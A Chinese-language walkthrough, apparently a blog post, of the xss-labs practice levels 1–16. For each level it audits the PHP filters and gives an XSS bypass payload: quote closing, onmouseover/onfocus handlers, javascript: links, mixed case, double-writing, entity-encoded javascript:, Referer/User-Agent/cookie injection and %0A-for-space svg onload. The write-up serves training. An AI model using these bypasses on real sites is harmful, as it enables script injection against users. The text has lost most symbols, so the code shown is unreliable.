建设网站建设的目标,在线小程序,苏州谢谢网络公司,品牌建设网站有哪些一.level1
先来进行一下代码审计
?php
ini_set(display_errors, 0);//关闭错误显示
$str $_GET[name]; //接受URL来的get形式的name传参
echo h2 aligncenter欢迎用户.$str./h2;//在网页输出#x…一.level1
先来进行一下代码审计
?php
ini_set(display_errors, 0);//关闭错误显示
$str $_GET[name]; //接受URL来的get形式的name传参
echo h2 aligncenter欢迎用户.$str./h2;//在网页输出并不是echo执行的而是echo把HTML代码发送到浏览器浏览器对发送的HTML代码进行执行
?
从代码中发现这段代码没有对用户的输入进行任何的过滤所以我们尝试执行js代码进行弹窗
可以看到在这里传入name参数
尝试执行js弹窗
成功执行
二.level2闭合绕过
?php
ini_set(display_errors, 0);
$str $_GET[keyword];
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel2.php methodGET
input namekeyword value.$str.
input typesubmit namesubmit value搜索/
/form
/center;
?
htmlspecialchars($str):对$str字符串中的特殊字符进行HTML实体化转义比如,,,, 等
我们可以发现这个$str没有注入点但是我们能发现下面这句代码中也有$str并且没有被转义
input namekeyword value.$str.
playload:scriptalert(1)/script 因为注入点在input这个标签的value这个值中所以我们需要闭合标签并执行 或者使用动作触发
playload: onmouseover alert()
左面的双引号闭合左面的右面的双引号闭合右面的必须要鼠标去触摸搜索框才能触发 三.level3触发绕过
?php
ini_set(display_errors, 0);
$str $_GET[keyword];
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel3.php methodGET
input namekeyword value.htmlspecialchars($str).
input typesubmit namesubmit value搜索 /
/form
/center;
?
这关发现他把value里的$str也进行了转义我们就不能用普通的js代码了可用用动作触发 四.level4触发绕过
?php
ini_set(display_errors, 0);
$str $_GET[keyword];
$str2str_replace(,,$str);//这里把替换成了空
$str3str_replace(,,$str2);//这里把替换成了空
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel4.php methodGET
input namekeyword value.$str3.
input typesubmit namesubmit value搜索 /
/form
/center;
?
我们发现第一处和上面的都一样所以主要看第二处这里发现他把和全部置换为空了 我们可以看到和全都没了所以就不能用了,可以用动作触发 五.level5伪协议绕过
?php
ini_set(display_errors, 0);
$str strtolower($_GET[keyword]);//全部变成小写
$str2str_replace(script,scr_ipt,$str);//把script替换掉了
$str3str_replace(on,o_n,$str2);//把on也替换掉了
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel5.php methodGET
input namekeyword value.$str3.
input typesubmit namesubmit value搜索 /
/form
/center;
?
cen
我们发现他把script和on都进行了过滤所以大部分的动作触发用不了了作者了解不多知道的都带on所以我们可以用a标签配合着js的为协议进行注入
playloada href javascript:alert(1) /a 点击XSS链接即可注入成功
六.level6大小写绕过
?php
ini_set(display_errors, 0);
$str $_GET[keyword];
$str2str_replace(script,scr_ipt,$str);//替换script
$str3str_replace(on,o_n,$str2);//替换on
$str4str_replace(src,sr_c,$str3);//替换src
$str5str_replace(data,da_ta,$str4);//替换data
$str6str_replace(href,hr_ef,$str5);//替换href
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel6.php methodGET
input namekeyword value.$str6.
input typesubmit namesubmit value搜索 /
/form
/center;
?
和前几关一样就是替换的多了hrefsrcdata。这题和第5关有个区别就是他没有进行字符小写的转化所以可以采用大小写绕过的方式
playload:Scriptalert(/1/)/Script 七.level7双写绕过
?php
ini_set(display_errors, 0);
$str strtolower( $_GET[keyword]);
$str2str_replace(script,,$str);
$str3str_replace(on,,$str2);
$str4str_replace(src,,$str3);
$str5str_replace(data,,$str4);
$str6str_replace(href,,$str5);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form actionlevel7.php methodGET
input namekeyword value.$str6.
input typesubmit namesubmit value搜索 /
/form
/center;
?
这关就是把前两关和起来了把href,script,on,src,data都过滤了并且把字符全转化为为小写的了
所以我们可以采用双写绕过因为他只转化了一次
playloadscscriptriptalert(/1/)/scscriptript 八.level8href隐藏特性自动unicode解码
?php
ini_set(display_errors, 0);
$str strtolower($_GET[keyword]);
$str2str_replace(script,scr_ipt,$str);
$str3str_replace(on,o_n,$str2);
$str4str_replace(src,sr_c,$str3);
$str5str_replace(data,da_ta,$str4);
$str6str_replace(href,hr_ef,$str5);
$str7str_replace(,quot,$str6);
echo center
form actionlevel8.php methodGET
input namekeyword value.htmlspecialchars($str).
input typesubmit namesubmit value添加友情链接 /
/form
/center;
?
这段php代码中没有注入点那我们看看下面的php代码
?phpecho centerBRa href.$str7.友情链接/a/center;
?
我们发现传进去了一个链接这里普及一个小知识href属性在某些情况下具有自动Unicode解码的特性。这意味着如果href属性中包含了Unicode编码的JavaScript代码或其他脚本浏览器在解析时可能会自动将这些Unicode编码解码为相应的字符从而执行这些脚本。
playload:#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#49;#41; 点击友情链接即可注入
九.level9href隐藏特性自动unicode解码
?php
if(falsestrpos($str7,http://))
{echo centerBRa href您的链接不合法有没有友情链接/a/center;}
else
{echo centerBRa href.$str7.友情链接/a/center;
}
?
和第8关一样只不过多了一次判断必须得带有http://才行
playload:#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#49;#41;/*http://*/ 这里肯定有很多人好奇为什么不能放在前面的下面做一些解释
为什么放在前面不好使
当你将 /*http://*/ 放在前面时浏览器在解析这个 href 属性时会遇到一些非标准的字符序列。由于 /* 并不是URL的有效开始部分除非它出现在CSS或JavaScript注释中但这在HTML的 href 属性中不适用浏览器可能会忽略它或者尝试将其解析为URL的一部分但失败。由于URL的解析是从左到右进行的如果开头的部分无法被识别为有效的URL协议或路径那么整个URL可能会被视为无效。
为什么放在后面好使
当你将 /*http://*/ 放在后面时情况就不同了。此时javascript: 协议已经被正确识别并且JavaScript代码 alert(1); 也被正确编码并包含在URL中。由于浏览器的解析机制是从左到右的并且已经识别并处理了有效的URL协议和JavaScript代码因此它可能会忽略掉URL末尾的注释部分尽管这不是标准的URL行为但浏览器可能会选择性地忽略它。
十.level10(t_sort传参
?php
ini_set(display_errors, 0);
$str $_GET[keyword];
$str11 $_GET[t_sort];
$str22str_replace(,,$str11);
$str33str_replace(,,$str22);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form idsearch
input namet_link value. typehidden
input namet_history value. typehidden
input namet_sort value.$str33. typehidden
/form
/center;
?
从这段代码来看keyword参数没有任何注入点只能尝试t_sort参数他只过滤了和所以可以进行触发绕过并且把隐藏框显示出来
playload:t_sort onfocusjavascript:alert(1) type text 十一.level11referer传参
?php
ini_set(display_errors, 0);
$str $_GET[keyword];
$str00 $_GET[t_sort];
$str11$_SERVER[HTTP_REFERER];
$str22str_replace(,,$str11);
$str33str_replace(,,$str22);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form idsearch
input namet_link value. typehidden
input namet_history value. typehidden
input namet_sort value.htmlspecialchars($str00). typehidden
input namet_ref value.$str33. typehidden
/form
/center;
?
这里可以看到keyword和t_sort都没有注入点了只能看HTTP_REFERER了可以看到过滤了,
$_SERVER[HTTP_REFERER];不可以通过URL来传参所以我们需要抓包
我们需要使用BP进行抓包分析 修改一下referer字段 触碰一下搜索框 十二.level12UA头传参
h1 aligncenter欢迎来到level12/h1
?php
ini_set(display_errors, 0);
$str $_GET[keyword];
$str00 $_GET[t_sort];
$str11$_SERVER[HTTP_USER_AGENT];
$str22str_replace(,,$str11);
$str33str_replace(,,$str22);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form idsearch
input namet_link value. typehidden
input namet_history value. typehidden
input namet_sort value.htmlspecialchars($str00). typehidden
input namet_ua value.$str33. typehidden
/form
/center;
?
这关与上面差的就是从referer字段变成了user_agent字段抓包把user_agent的头部修改一下 十三.level13cookie传参
?php
setcookie(user, call me maybe?, time()3600);
ini_set(display_errors, 0);
$str $_GET[keyword];
$str00 $_GET[t_sort];
$str11$_COOKIE[user];
$str22str_replace(,,$str11);
$str33str_replace(,,$str22);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form idsearch
input namet_link value. typehidden
input namet_history value. typehidden
input namet_sort value.htmlspecialchars($str00). typehidden
input namet_cook value.$str33. typehidden
/form
/center;
?
这和前俩都差不多只是更改为cookie头因为他是用user传参的所以我们要写userplayload
* 十四.level14网站没了做不了
十五.level15网站包含
?php
ini_set(display_errors, 0);
$str $_GET[src];
echo bodyspan classng-include:.htmlspecialchars($str)./span/body;
?
可以看到这儿有个陌生的东西ng-includeng-include 是 AngularJS 框架中的一个指令用于在 AngularJS 应用中动态地包含 HTML 内容。这个指令允许你将外部 HTML 文件的内容或者 AngularJS 应用内部定义的 HTML 片段插入到当前视图的指定位置。这使得你可以复用 HTML 模板提高了代码的可维护性和可重用性。
我们可以把任何一关包含进来比如第一关
playload?src/level1.php
在对第一关进行注入 点击用户后面的图片即可
十六.level16回车替换空格
?php
ini_set(display_errors, 0);
$str strtolower($_GET[keyword]);
$str2str_replace(script,nbsp;,$str);
$str3str_replace( ,nbsp;,$str2);
$str4str_replace(/,nbsp;,$str3);
$str5str_replace( ,nbsp;,$str4);
echo center.$str5./center;
? test插入到了center标签中所以这里就不用闭合了对比发现这里先是将字母小写化了再把script替换成空格最后将空格给实体化想尝试一下p标签p οnmοusedοwnalert()abc/p谁知道也将/给替换成了空格
果然给过掉了空格可以用回车来代替绕过回车的url编码是%0a再配合上不用/的img、details、svg等标签更多标签可参考XSS常见的触发标签
随便选个标签将空格替换成回车的url编码构造payload
playload?keywordsvg%0Aonloadalert(1)
后面的关卡都用上flash小编没有就不做解释了